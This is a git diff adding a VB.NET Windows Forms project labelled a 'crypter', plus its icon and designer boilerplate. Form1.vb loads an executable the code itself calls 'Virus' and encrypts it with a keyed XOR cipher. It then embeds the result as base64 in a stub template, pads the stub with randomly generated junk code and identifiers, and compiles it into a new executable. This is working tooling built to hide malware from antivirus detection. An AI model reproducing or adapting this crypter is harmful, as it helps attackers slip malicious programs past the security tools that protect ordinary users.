CAT75wgE++cIA/vnCAP75wgC++cIAfvnCAD//wgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA//8IAP//CAD/7QgA++cIAfvnCAH75wgC++cIAvvnCAL75wgC++cIAvvn + CAP75wgD++cIA/vnCAP75wgD++cIA/vnCAP75wgD++cIA/vnCAP75wgD++cIA/vnCAP75wgD++cIA/vn + CAP75wgD++cIA/vnCAP75wgD++cIA/vnCAP75wgD++cIA/vnCAP75wgD++cIA/vnCAP75wgD++cIA/vn + CAP75wgD++cIA/vnCAP75wgD++cIA/vnCAP75wgD++cIA/vnCAP75wgD++cIA/vnCAP75wgD++cIA/vn + CAP75wgD++cIA/vnCAP75wgD++cIA/vnCAP75wgC++cIAvvnCAL75wgC++cIAfvnCAH75wgA/+0IAP// + CAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP// + CAD/7QgA++cIAfvnCAH75wgB++cIAfvnCAD75wgB++cIAfvnCAH75wgB++cIAfvnCAH75wgB++cIAfvn + CAH75wgB++cIAfvnCAH75wgB++cIAfvnCAH75wgB++cIAfvnCAH75wgB++cIAfvnCAH75wgB++cIAfvn + CAH75wgB++cIAfvnCAH75wgB++cIAfvnCAH75wgB++cIAfvnCAH75wgB++cIAfvnCAH75wgB++cIAfvn + CAH75wgB++cIAfvnCAH75wgB++cIAfvnCAH75wgB++cIAfvnCAH75wgB++cIAfvnCAH75wgB++cIAfvn + CAH75wgA++cIAfvnCAH75wgA/+wIAP//CAD//wgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//CAD75wgA++cIAPvnCAD75wgA++cIAPvn + CAD75wgA++cIAPvnCAD75wgA++cIAPvnCAD75wgA++cIAPvnCAD75wgA++cIAPvnCAD75wgA++cIAPvn + CAD75wgA++cIAPvnCAD75wgA++cIAPvnCAD75wgA++cIAPvnCAD75wgA++cIAPvnCAD75wgA++cIAPvn + CAD75wgA++cIAPvnCAD75wgA++cIAPvnCAD75wgA++cIAPvnCAD75wgA++cIAPvnCAD75wgA++cIAPvn + CAD75wgA++cIAPvnCAD75wgA++cIAPvnCAD75wgA++cIAPvnCAD75wgA++cIAPvnCAD//wgAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA//8IAP//CAD//wgA//8IAP//CAD//wgA//8IAP//CAD//wgA//8IAP//CAD//wgA//8IAP// + CAD//wgA//8IAP//CAD//wgA//8IAP//CAD//wgA//8IAP//CAD//wgA//8IAP//CAD//wgA//8IAP// + CAD//wgA//8IAP//CAD//wgA//8IAP//CAD//wgA//8IAP//CAD//wgA//8IAP//CAD//wgA//8IAP// + CAD//wgA//8IAP//CAD//wgA//8IAP//CAD//wgA//8IAP//CAD//wgA//8IAP//CAD//wgA//8IAP// + CAD//wgA//8IAP//CAD//wgA//8IAP//CAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA////////////////////////////wAAAA////////////////AAAAAB/ + //////////////gAAAAAP//////////////4AAAAAB//////////////8AAAAAAP/////////////wAA + AAAAB/////////////8AAAAAAAf////////////+AAAAAAAD/////////////AAAAAAAAf////////// + //wAAAAAAAH////////////4AAAAAAAAf///////////+AAAAAAAAH////////////gAAAAAAAB///// + ///////gAAAAAAAAP///////////4AAAAAAAAB///////////+AAAAAAAAAf///////////gAAAAAAAA + D///////////4AAAAAAAAAf//////////+AAAAAAAAAH///////////AAAAAAAAAA///////////wAAA + AAAAAAD//////////8AAAAAAAAAA///////////AAAAAAAAAAP//////////wAAAAAAAAAD///////// + /8AAAAAAAAAA///////////AAAAAAAAAAH//////////wAAAAAAAAAB//////////8AAAAAAAAAAf/// + ///////AAAAAAAAAAH//////////wAAAAAAAAAD//////////8AAAAAAAAAA///////////AAAAAAAAA + AP//////////wAAAAAAAAAD//////////8AAAAAAAAAA///////////AAAAAAAAAAP//////////wAAA + AAAAAED//////////8AAAAAAAAAA///////////AAAAAAAAAA///////////wAAAAAAAAAP///////// + /8AAAAAAAAAD///////////AAAAAAAAAB///////////wAAAAB///////////////8AAAAAf//////// + ///////AAAAAH///////////////wAAAAB///////////////8AAAAAf///////////////AAAAAH/// + ////////////wAAAAB///////////////8AAAAAf///////////////AAAAAH///////////////wAAA + AB///////////////8AAAAAf///////////////AAAAAH///////////////wAAAAB////////////// + /8AAAAAf///////////////AAAAAH///////////////wAAAAB///////////////8AAAAAf//////// + ///////AAAAAH///////////////wAAAAB///////////////8AAAAAf///////////////AAAAAH//+ + AAB/////////wAAAAB///gAAf////////8AAAAAf//gAAA/////////AAAAAH//wAAAD////////wAAA + AB//8AAAA////////8AAAAAf/wAAAAH////////AAAAAH/4AAAAB////////wAAAAB/+AAAAAf////// + /8AAAAAf/AAAAAH////////AAAAAH/wAAAAB////////wAAAAB/8AAAAAf///////8AAAAAf+AAAAAH/ + ///////AAAAAH/gAAAAB////////wAAAAB/4AAAAAf///////8AAAAAf+AAAAAH////////AAAAAH/gA + AAAB////////wAAAAB/4AAAAAf///////8AAAAAf+AAAAAH////////AAAAAD/gAAAAB////////wAAA + AAAAAAAAAf///////8AAAAAAAAAAAAH////////AAAAAAAAAAAAB////////wAAAAAAAAAAAAf////// + /8AAAAAAAAAAAAH////////AAAAAAAAAAAAB////////wAAAAAAAAAAAAf///////8AAAAAAAAAAAAH/ + ///////AAAAAAAAAAAAB////////wAAAAAAAAAAAAf///////8AAAAAAAAAAAAH////////AAAAAAAAA + AAAB////////wAAAAAAAAAAAAf///////8AAAAAAAAAAAAH////////AAAAAAAAAAAAB////////wAAA + AAAAAAAAAf///////8AAAAAAAAAAAAH////////AAAAAAAAAAAAB////////wAAAAAAAAAAAAf////// + /8AAAAAAAAAAAAH////////AAAAAAAAAAAAB////////wAAAAAAAAAAAAf///////8AAAAAAAAAAAAH/ + ///////AAAAAAAAAAAAB////////wAAAAAAAAAAAA////////8AAAAAAAAAAAAP////////AAAAAAAAA + AAAD////////wAAAAAAAAAAAB////////8AAAAAAAAAAAAf////////AAAAAAAAAAAAH////////wAAA + AAAAAAAAB////////8AAAAAAAAAAAAf////////AAAAAAAAAAAAH////////wAAAAAAAAAAAH/////// + /8AAAAAAAAAAAB/////////gAAAAAAAAAAAf////////4AAAAAAAAAAAP/////////AAAAAAAAAAAD// + ///////4AAAAAAAAAAB//////////AAAAAAAAAAD//////////wAAAAAAAAAA/////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////8= + + + \ No newline at end of file diff --git a/scode (crypterµ/Form1.vb b/scode (crypterµ/Form1.vb new file mode 100644 index 0000000..e2376a8 --- /dev/null +++ b/scode (crypterµ/Form1.vb @@ -0,0 +1,330 @@ +Imports System.Text +Imports System.CodeDom.Compiler +Imports System.Drawing.Imaging +Imports System.Reflection +Imports System.Runtime.CompilerServices + +Public Class Form1 + Dim Virus, Crypt, Key, Original As String + + Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click + Dim A As New OpenFileDialog + A.Filter = "Executables *.exe|*.exe" + If A.ShowDialog = Windows.Forms.DialogResult.OK Then Virus = A.FileName + If Not Virus = "" Then + Label2.Text = "Loaded" + Label2.ForeColor = Color.Green + Else : End If + End Sub + + Public Function Build() + Try + Dim Open As New SaveFileDialog + Open.Filter = "Executables *.exe|*.exe" + If Open.ShowDialog = Windows.Forms.DialogResult.OK Then + Crypt = Open.FileName + TextBox1.Text = Original + + Dim B As String() = {"+A+", "+B+", "+C+", "+D+", "+E+", "+F+", "+G+", "+H+", "+I+", "+J+", "+K+", "+L+", "+M+", "+N+", "+O+", "+P+", "+Q+", "+R+", "+S+", "+T+", "+U+", "+V+", "+W+", "+X+", "+Y+", "+Z+"} + For i As Integer = 0 To B.Length - 1 + TextBox1.Text = TextBox1.Text.Replace(B(i), Random(30)) + Next + + Dim D As Byte() = IO.File.ReadAllBytes(Virus) + Dim C As New Encrypt(Key) + Dim Input As Byte() = C.M(D) + TextBox1.Text = TextBox1.Text.Replace("+Virus+", Format(Input)) + TextBox1.Text = TextBox1.Text.Replace("+Key+", Key) + + Dim A As String + Dim Y As String + A = GenerateJunk(RandomNumber(5, 1)) + Y = GenerateJunk(RandomNumber(6, 2)) + TextBox1.Text = TextBox1.Text.Replace("+JunkCode+", A) + TextBox1.Text = TextBox1.Text.Replace("+MoreJunk+", Y) + + Compile(Crypt, TextBox1.Text, "") + + MsgBox("Crypting Is Completed", MsgBoxStyle.Information, "Done") + End If + Catch E As Exception + End Try + End Function + + Public Function Keygen(ByVal A As Integer) As Object + Const B As String = "abcdefghijklmnopqrstuvwxyz" + Const C As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + Const D As String = "1234567890" + Dim E As String + Dim i As Short + E = B & C & D + For i = 1 To CInt(A) + Keygen = Keygen & Mid(E, Int((Rnd() * Len(E)) + 1), 1) + Next i + End Function + + Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click + If Virus = "" Then + MsgBox("Error, Please Select a File to Crypt.", MsgBoxStyle.Critical, "Error") + Else + Build() + End If + End Sub + + Public Function Random(ByVal A As Integer) As String + Randomize() + Dim C As New System.Text.StringBuilder("") + Dim D() As Char = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".ToCharArray() + For E As Integer = 1 To A + Randomize() + Dim z As Integer = Int(((D.Length - 2) - 0 + 1) * Rnd()) + 1 + C.Append(D(z)) + Next + Return C.ToString + End Function + + Public Shared Function Format(ByVal E As Byte()) As String + Dim A As New System.Text.StringBuilder + Dim B As String = Convert.ToBase64String(E) + Dim C As String() = SplitString(B, 10) + For D As Integer = 0 To C.Length - 1 + If D = C.Length - 1 Then + A.Append(Chr(34) & C(D) & Chr(34)) + Else + A.Append(Chr(34) & C(D) & Chr(34) & " & _" & vbNewLine) + End If + Next + Return A.ToString + End Function + + Public Function RandomNumber(ByVal A As Integer, Optional ByVal B As Integer = 0) As Integer + Dim D As New Random(System.DateTime.Now.Millisecond) + If B > A Then + Dim C As Integer = B + B = A + A = C + End If + Return D.Next(B, A) + End Function + + Public Shared Sub Compile(ByVal C As String, ByVal D As String, ByVal E As String) + Dim A As ICodeCompiler = (New VBCodeProvider).CreateCompiler() + Dim B As New CompilerParameters() + B.GenerateExecutable = True + B.OutputAssembly = C + B.CompilerOptions = "/filealign:0x00000200 /optimize+ /platform:X86 /debug- /target:winexe" + B.ReferencedAssemblies.Add("System.dll") + B.ReferencedAssemblies.Add("System.Data.dll") + B.ReferencedAssemblies.Add("System.Windows.Forms.dll") + Dim H = New Dictionary(Of String, String) + H.Add("CompilerVersion", "v2.0") + Dim F As String + Dim G As String = Environment.GetFolderPath(Environment.SpecialFolder.System) + F = (G + "\Icon.ico") + B.CompilerOptions &= (" /win32icon:" & F) + A.CompileAssemblyFromSource(B, D) + End Sub + + Private Shared Function SplitString(ByVal F As String, ByVal G As Long) As String() + Dim A As Long = Math.Ceiling(F.Length / G) + Dim B(A - 1) As String + Dim C As Long = 0 + For D As Integer = 0 To A - 1 + If D = A - 1 Then + Dim E((F.Length - C) - 1) As Char + F.CopyTo(C, E, 0, (F.Length - C)) + B(D) = Convert.ToString(E) + Else + Dim E(G - 1) As Char + F.CopyTo(C, E, 0, G) + B(D) = Convert.ToString(E) + C += G + End If + Next + Return B + End Function + + Function Drop() + Dim Here As String = Environment.GetFolderPath(Environment.SpecialFolder.System) + Dim Stream As IO.Stream + Dim FileName As String = (Here + "\Icon.ico") + Stream = IO.File.OpenWrite(FileName) + My.Resources.Icon.Save(Stream) + Stream.Close() + End Function + + Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load + Drop() + Key = Keygen(30) + Original = TextBox1.Text + End Sub + + Public Function GenerateJunk(ByVal U As Integer) As String + If U = 0 Then + U = 1 + End If + Dim Z As String = "Module " & S(20) + Dim y As Integer = 0 + Do Until y = U + Rnd() + Dim a As Integer = N(3, 1) + Dim e As String = S(60) + If a = 1 Then + Z += vbNewLine & vbNewLine & "Public Function " & S(124) & "(" & S(16) & " as string)as string" & vbNewLine + + Z += "on error goto " & e & vbNewLine + Else + Z += vbNewLine & "Public Sub " & S(N(50, 8)) & "(" & S(49) & " as string)" & vbNewLine + End If + Dim i As Integer = 0 + Dim limit As Integer = N(30, 10) + Do Until i = limit + Rnd() + Dim type As Integer = N(5, 0) + If type = 1 Then + Z += "Dim " & S(26) & " as string = " & Chr(34) & S(N(35, 76)) & Chr(34) & vbNewLine + i += 1 + ElseIf type = 2 Then + Z += "msgbox(" & Chr(34) & S(N(100, 276)) & Chr(34) & ")" & vbNewLine + i += 1 + ElseIf type = 3 Then + Rnd() + Z += "Dim " & S(56) & " as integer = " & N(999999, 100000) & vbNewLine + i += 1 + Else + Z += "dim " & S(N(10, 60)) & " as integer = " & N(100000, 9999999) & " + " & N(214124, 1243145) & " + " & N(214124, 1243145) & " + " & N(214124, 1243145) & vbNewLine + End If + Loop + If a = 1 Then + Z += e & ":" & vbNewLine + Dim h As Integer = 0 + Dim hl As Integer = N(10, 3) + Do Until h = hl + Dim type As Integer = N(4, 0) + If type = 1 Then + Z += "Dim " & S(26) & " as string = " & Chr(34) & S(N(35, 76)) & Chr(34) & vbNewLine + i += 1 + ElseIf type > 1 Then + Z += "msgbox(" & Chr(34) & S(N(100, 276)) & Chr(34) & ")" & vbNewLine + i += 1 + Z += "If " & N(100000, 9999999) & " > " & N(214124, 1243145) & " then" & vbNewLine + + Z += "Dim " & S(26) & " as string = " & Chr(34) & S(N(35, 76)) & Chr(34) & vbNewLine + Z += "Dim " & S(26) & " as string = " & Chr(34) & S(N(35, 76)) & Chr(34) & vbNewLine + Z += "Dim " & S(26) & " as string = " & Chr(34) & S(N(35, 76)) & Chr(34) & vbNewLine + Z += "End if" & vbNewLine + Else + Rnd() + Z += "Dim " & S(56) & " as integer = " & N(999999, 100000) & vbNewLine + i += 1 + End If + h += 1 + Loop + Z += vbNewLine + Z += "End Function" & vbNewLine & vbNewLine + Else + Z += "End Sub" & vbNewLine & vbNewLine + End If + y += 1 + Loop + Z += "End Module" + Return Z + End Function + + Function S(ByVal A As String) As String + Dim B As New Password + Return B.M(True, True, False, False, A) + End Function + + Public Function N(ByVal A As Integer, Optional ByVal B As Integer = 0) As Integer + Rnd() + Threading.Thread.Sleep(5) + Dim C As New Random(System.DateTime.Now.Millisecond) + If B > A Then + Dim t As Integer = B + B = A + A = t + End If + Return C.Next(B, A) + End Function +End Class + +Public Class Encrypt + Private A As String = "" + + Public Property B() As String + Get + Return A + End Get + Set(ByVal C As String) + A = C + End Set + End Property + + Public Sub New(ByVal Key As String) + B = Key + End Sub + + Public Sub New() + B = "" + End Sub + + Public Function M(ByVal K() As Byte) As Byte() + Dim L(K.Length) As Byte + L(0) = Convert.ToByte(New Random().Next(1, 255)) + For i = 0 To K.Length - 1 + L(i + 1) = D(L(i), K(i)) + Next + Return G(L, Encoding.Default.GetBytes(B)) + End Function + + Private Function D(ByVal E As Byte, ByVal F As Int16) As Byte + While F < 0 + F += 256 + End While + Return Convert.ToByte((E + F) Mod 256) + End Function + + Private Function G(ByVal H() As Byte, ByVal J() As Byte) As Byte() + If J.Length <> 0 Then + For I = 0 To H.Length - 1 + H(I) = H(I) Xor D(J(I Mod J.Length), [J](J(I Mod J.Length) Mod J.Length)) Xor [J](((I + (I Mod 7)) Mod J.Length) Mod J.Length) + Next + End If + Return H + End Function +End Class + +Public Class Password + Private Const A As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + Private Const B As String = "abcdefghijklmnopqrstuvwxyz" + Private Const C As String = "0123456789" + Private Const D As String = "~`!@#$%^&*()_+=-{[}]|;:'<,>.?" + + Public Function M(ByVal E As Boolean, ByVal F As Boolean, ByVal G As Boolean, ByVal H As Boolean, ByVal J As Integer) As String + Dim K As String + Dim L As String + Dim p As Integer + If E = True Then + K = K & A + End If + If F = True Then + K = K & B + End If + If G = True Then + K = K & C + End If + If H = True Then + K = K & D + End If + Randomize() + For p = 0 To (J - 1) + L = L + Mid(K, Len(K) * Rnd() + 1, 1) + Next + M = L + End Function +End Class + + + + diff --git a/scode (crypterµ/My Project/Application.Designer.vb b/scode (crypterµ/My Project/Application.Designer.vb new file mode 100644 index 0000000..7a0f443 --- /dev/null +++ b/scode (crypterµ/My Project/Application.Designer.vb @@ -0,0 +1,38 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.225 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + 'NOTE: This file is auto-generated; do not modify it directly. To make changes, + ' or if you encounter build errors in this file, go to the Project Designer + ' (go to Project Properties or double-click the My Project node in + ' Solution Explorer), and make changes on the Application tab. + ' + Partial Friend Class MyApplication + + _ + Public Sub New() + MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) + Me.IsSingleInstance = false + Me.EnableVisualStyles = true + Me.SaveMySettingsOnExit = true + Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses + End Sub + + _ + Protected Overrides Sub OnCreateMainForm() + Me.MainForm = Global.Cryptation.Form1 + End Sub + End Class +End Namespace diff --git a/scode (crypterµ/My Project/Application.myapp b/scode (crypterµ/My Project/Application.myapp new file mode 100644 index 0000000..7b0c597 --- /dev/null +++ b/scode (crypterµ/My Project/Application.myapp @@ -0,0 +1,11 @@ + + + true + Form1 + false + 0 + true + 0 + 0 + true + diff --git a/scode (crypterµ/My Project/AssemblyInfo.vb b/scode (crypterµ/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..206d6f4 --- /dev/null +++ b/scode (crypterµ/My Project/AssemblyInfo.vb @@ -0,0 +1,35 @@ +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' General Information about an assembly is controlled through the following +' set of attributes. Change these attribute values to modify the information +' associated with an assembly. + +' Review the values of the assembly attributes + + + + + + + + + + +'The following GUID is for the ID of the typelib if this project is exposed to COM + + +' Version information for an assembly consists of the following four values: +' +' Major Version +' Minor Version +' Build Number +' Revision +' +' You can specify all the values or you can default the Build and Revision Numbers +' by using the '*' as shown below: +' + + + diff --git a/scode (crypterµ/My Project/Resources.Designer.vb b/scode (crypterµ/My Project/Resources.Designer.vb new file mode 100644 index 0000000..ead974b --- /dev/null +++ b/scode (crypterµ/My Project/Resources.Designer.vb @@ -0,0 +1,70 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.225 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + +Imports System + +Namespace My.Resources + + 'This class was auto-generated by the StronglyTypedResourceBuilder + 'class via a tool like ResGen or Visual Studio. + 'To add or remove a member, edit your .ResX file then rerun ResGen + 'with the /str option, or rebuild your VS project. + ''' + ''' A strongly-typed resource class, for looking up localized strings, etc. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Returns the cached ResourceManager instance used by this class. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("Cryptation.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Overrides the current thread's CurrentUICulture property for all + ''' resource lookups using this strongly typed resource class. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set + resourceCulture = value + End Set + End Property + + Friend ReadOnly Property Icon() As System.Drawing.Icon + Get + Dim obj As Object = ResourceManager.GetObject("Icon", resourceCulture) + Return CType(obj,System.Drawing.Icon) + End Get + End Property + End Module +End Namespace diff --git a/scode (crypterµ/My Project/Resources.resx b/scode (crypterµ/My Project/Resources.resx new file mode 100644 index 0000000..aaa3625 --- /dev/null +++ b/scode (crypterµ/My Project/Resources.resx @@ -0,0 +1,124 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 